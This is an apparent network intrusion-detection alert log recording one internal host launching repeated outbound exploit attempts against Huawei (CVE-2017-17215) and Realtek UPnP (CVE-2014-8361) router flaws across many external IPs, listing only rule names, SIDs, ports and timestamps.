ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 137.161.38.152

Timestamp:	07/20/24-23:01:40.334452
SID:	2835222
Source Port:	51350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.33.144.77

Timestamp:	07/20/24-23:01:02.109665
SID:	2025132
Source Port:	40882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.215.255.246

Timestamp:	07/20/24-23:01:14.296756
SID:	2835222
Source Port:	43348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 98.114.190.226

Timestamp:	07/20/24-23:01:24.884598
SID:	2835222
Source Port:	55218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 66.34.14.57

Timestamp:	07/20/24-23:01:45.683188
SID:	2831300
Source Port:	49128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.166.159.225

Timestamp:	07/20/24-23:00:59.184421
SID:	2835222
Source Port:	41550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.212.158.191

Timestamp:	07/20/24-23:01:43.167781
SID:	2025132
Source Port:	33470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.7.171.33

Timestamp:	07/20/24-23:01:44.161942
SID:	2027339
Source Port:	47250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.173.160.14

Timestamp:	07/20/24-23:00:57.221803
SID:	2835222
Source Port:	36746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.124.21.88

Timestamp:	07/20/24-23:01:34.064573
SID:	2835222
Source Port:	50696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.3.191.75

Timestamp:	07/20/24-23:01:42.131607
SID:	2027339
Source Port:	53892
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.178.228.29

Timestamp:	07/20/24-23:01:21.952783
SID:	2829579
Source Port:	42156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 199.44.188.95

Timestamp:	07/20/24-23:01:42.962388
SID:	2025132
Source Port:	36968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.200.205.123

Timestamp:	07/20/24-23:01:43.825431
SID:	2027339
Source Port:	58434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.238.48.34

Timestamp:	07/20/24-23:01:57.022868
SID:	2027339
Source Port:	34466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 212.213.14.74

Timestamp:	07/20/24-23:02:04.022245
SID:	2025132
Source Port:	51378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.196.193.162

Timestamp:	07/20/24-23:01:44.611556
SID:	2027339
Source Port:	53552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 210.209.80.73

Timestamp:	07/20/24-23:01:45.484487
SID:	2025132
Source Port:	51798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 132.105.175.229

Timestamp:	07/20/24-23:01:24.910426
SID:	2829579
Source Port:	50096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.76.169.126

Timestamp:	07/20/24-23:01:47.179280
SID:	2027339
Source Port:	39742
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.146.199.168

Timestamp:	07/20/24-23:01:13.321371
SID:	2025132
Source Port:	49116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.100.148.20

Timestamp:	07/20/24-23:01:44.565131
SID:	2027339
Source Port:	54952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.233.186.203

Timestamp:	07/20/24-23:02:05.374045
SID:	2027339
Source Port:	54602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.149.101.121

Timestamp:	07/20/24-23:01:41.263056
SID:	2027339
Source Port:	38236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.97.134.51

Timestamp:	07/20/24-23:01:47.455724
SID:	2027339
Source Port:	41808
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.10.251.72

Timestamp:	07/20/24-23:01:02.456435
SID:	2027339
Source Port:	35924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.21.203.147

Timestamp:	07/20/24-23:01:07.054782
SID:	2835222
Source Port:	58546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.158.142.0

Timestamp:	07/20/24-23:01:02.064358
SID:	2829579
Source Port:	41428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.158.125.18

Timestamp:	07/20/24-23:01:45.134490
SID:	2025132
Source Port:	34732
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 202.203.199.212

Timestamp:	07/20/24-23:01:44.349550
SID:	2831300
Source Port:	41078
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.166.243.209

Timestamp:	07/20/24-23:01:51.063023
SID:	2027339
Source Port:	40454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.52.94.108

Timestamp:	07/20/24-23:01:04.114673
SID:	2835222
Source Port:	57736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.127.88.100

Timestamp:	07/20/24-23:01:24.596580
SID:	2027339
Source Port:	38116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.192.4.35

Timestamp:	07/20/24-23:01:42.966322
SID:	2027339
Source Port:	48450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.109.117.107

Timestamp:	07/20/24-23:01:41.205247
SID:	2027339
Source Port:	39042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.9.244.61

Timestamp:	07/20/24-23:01:42.943881
SID:	2027339
Source Port:	49940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.44.134.248

Timestamp:	07/20/24-23:01:11.636425
SID:	2835222
Source Port:	60540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 155.165.117.153

Timestamp:	07/20/24-23:01:32.032492
SID:	2829579
Source Port:	35612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.51.221.45

Timestamp:	07/20/24-23:01:53.607815
SID:	2027339
Source Port:	59936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 149.8.44.5

Timestamp:	07/20/24-23:01:51.016560
SID:	2831300
Source Port:	44112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.32.208.135

Timestamp:	07/20/24-23:01:13.300689
SID:	2027339
Source Port:	40112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 96.4.116.14

Timestamp:	07/20/24-23:01:04.115220
SID:	2829579
Source Port:	51988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 27.254.228.216

Timestamp:	07/20/24-23:01:08.556166
SID:	2831300
Source Port:	36780
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 151.41.38.224

Timestamp:	07/20/24-23:01:44.944836
SID:	2025132
Source Port:	51548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.222.250.183

Timestamp:	07/20/24-23:01:34.062277
SID:	2829579
Source Port:	53428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.68.201.164

Timestamp:	07/20/24-23:01:48.496839
SID:	2027339
Source Port:	52330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.105.252.117

Timestamp:	07/20/24-23:01:14.113390
SID:	2829579
Source Port:	34024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.16.2.141

Timestamp:	07/20/24-23:01:43.039504
SID:	2831300
Source Port:	52804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.158.125.18

Timestamp:	07/20/24-23:01:52.914137
SID:	2027339
Source Port:	34970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.161.7.211

Timestamp:	07/20/24-23:01:44.624686
SID:	2027339
Source Port:	57118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.242.166.123

Timestamp:	07/20/24-23:01:00.651026
SID:	2829579
Source Port:	57736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.175.144.226

Timestamp:	07/20/24-23:01:59.905375
SID:	2027339
Source Port:	44260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.119.229.116

Timestamp:	07/20/24-23:01:50.246033
SID:	2025132
Source Port:	56978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.155.204.151

Timestamp:	07/20/24-23:01:41.381812
SID:	2027339
Source Port:	53042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.182.23.52

Timestamp:	07/20/24-23:01:52.144379
SID:	2027339
Source Port:	56624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.115.102.16

Timestamp:	07/20/24-23:01:04.031511
SID:	2835222
Source Port:	45100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 202.140.13.200

Timestamp:	07/20/24-23:01:41.392527
SID:	2025132
Source Port:	48730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.46.179.130

Timestamp:	07/20/24-23:01:01.299586
SID:	2027339
Source Port:	47142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.116.148.181

Timestamp:	07/20/24-23:01:08.613165
SID:	2027339
Source Port:	52470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.63.171.55

Timestamp:	07/20/24-23:01:21.944679
SID:	2829579
Source Port:	48608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.165.97.37

Timestamp:	07/20/24-23:01:31.976649
SID:	2829579
Source Port:	59476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 54.235.197.43

Timestamp:	07/20/24-23:01:02.333866
SID:	2025132
Source Port:	33564
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.220.8.58

Timestamp:	07/20/24-23:01:45.544315
SID:	2027339
Source Port:	46764
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.96.176.194

Timestamp:	07/20/24-23:01:56.127051
SID:	2027339
Source Port:	60470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 18.255.33.143

Timestamp:	07/20/24-23:01:59.043868
SID:	2831300
Source Port:	41608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 46.134.86.41

Timestamp:	07/20/24-23:01:49.490945
SID:	2025132
Source Port:	59242
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.210.183.51

Timestamp:	07/20/24-23:01:42.454682
SID:	2025132
Source Port:	59644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.61.181.140

Timestamp:	07/20/24-23:01:58.216922
SID:	2831300
Source Port:	49966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.64.10.170

Timestamp:	07/20/24-23:01:44.921789
SID:	2027339
Source Port:	52396
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 108.137.226.148

Timestamp:	07/20/24-23:01:41.867104
SID:	2831300
Source Port:	37288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 197.159.127.103

Timestamp:	07/20/24-23:01:43.791502
SID:	2831300
Source Port:	55812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.12.29.225

Timestamp:	07/20/24-23:01:46.961079
SID:	2027339
Source Port:	50102
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.82.217.243

Timestamp:	07/20/24-23:01:41.496780
SID:	2027339
Source Port:	55182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.18.60.159

Timestamp:	07/20/24-23:01:41.481591
SID:	2025132
Source Port:	33528
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.185.16.155

Timestamp:	07/20/24-23:01:52.914137
SID:	2831300
Source Port:	53636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 222.178.130.155

Timestamp:	07/20/24-23:01:54.567167
SID:	2831300
Source Port:	55626
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.124.29.47

Timestamp:	07/20/24-23:00:59.192052
SID:	2835222
Source Port:	50040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.127.253.166

Timestamp:	07/20/24-23:02:02.085571
SID:	2831300
Source Port:	47840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.120.192.128

Timestamp:	07/20/24-23:02:00.552327
SID:	2025132
Source Port:	56838
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.139.2.14

Timestamp:	07/20/24-23:00:59.161892
SID:	2835222
Source Port:	41506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 179.230.186.151

Timestamp:	07/20/24-23:01:53.625100
SID:	2831300
Source Port:	37504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.45.233.176

Timestamp:	07/20/24-23:01:40.334933
SID:	2835222
Source Port:	35100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 123.147.61.106

Timestamp:	07/20/24-23:01:44.277250
SID:	2831300
Source Port:	43864
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 46.114.222.105

Timestamp:	07/20/24-23:01:04.118165
SID:	2829579
Source Port:	35478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 150.171.160.226

Timestamp:	07/20/24-23:01:03.090902
SID:	2025132
Source Port:	37696
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.139.238.2

Timestamp:	07/20/24-23:01:43.671215
SID:	2027339
Source Port:	42194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.218.4.185

Timestamp:	07/20/24-23:01:54.489563
SID:	2027339
Source Port:	43520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.99.98.84

Timestamp:	07/20/24-23:01:02.057728
SID:	2829579
Source Port:	34020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.151.175.195

Timestamp:	07/20/24-23:01:42.656963
SID:	2027339
Source Port:	40824
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 149.240.88.161

Timestamp:	07/20/24-23:01:58.143690
SID:	2831300
Source Port:	52188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 128.140.142.60

Timestamp:	07/20/24-23:02:06.477726
SID:	2025132
Source Port:	35428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.199.165.178

Timestamp:	07/20/24-23:01:45.118041
SID:	2027339
Source Port:	51140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.33.116.164

Timestamp:	07/20/24-23:01:03.083161
SID:	2025132
Source Port:	52478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.212.175.247

Timestamp:	07/20/24-23:01:06.988055
SID:	2829579
Source Port:	41168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 9.196.233.159

Timestamp:	07/20/24-23:01:42.196522
SID:	2831300
Source Port:	57156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.112.202.180

Timestamp:	07/20/24-23:01:01.772213
SID:	2025132
Source Port:	57978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.134.86.41

Timestamp:	07/20/24-23:01:47.354421
SID:	2027339
Source Port:	60566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.241.240.40

Timestamp:	07/20/24-23:01:20.132103
SID:	2829579
Source Port:	48670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.196.127.144

Timestamp:	07/20/24-23:01:32.032492
SID:	2829579
Source Port:	53624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

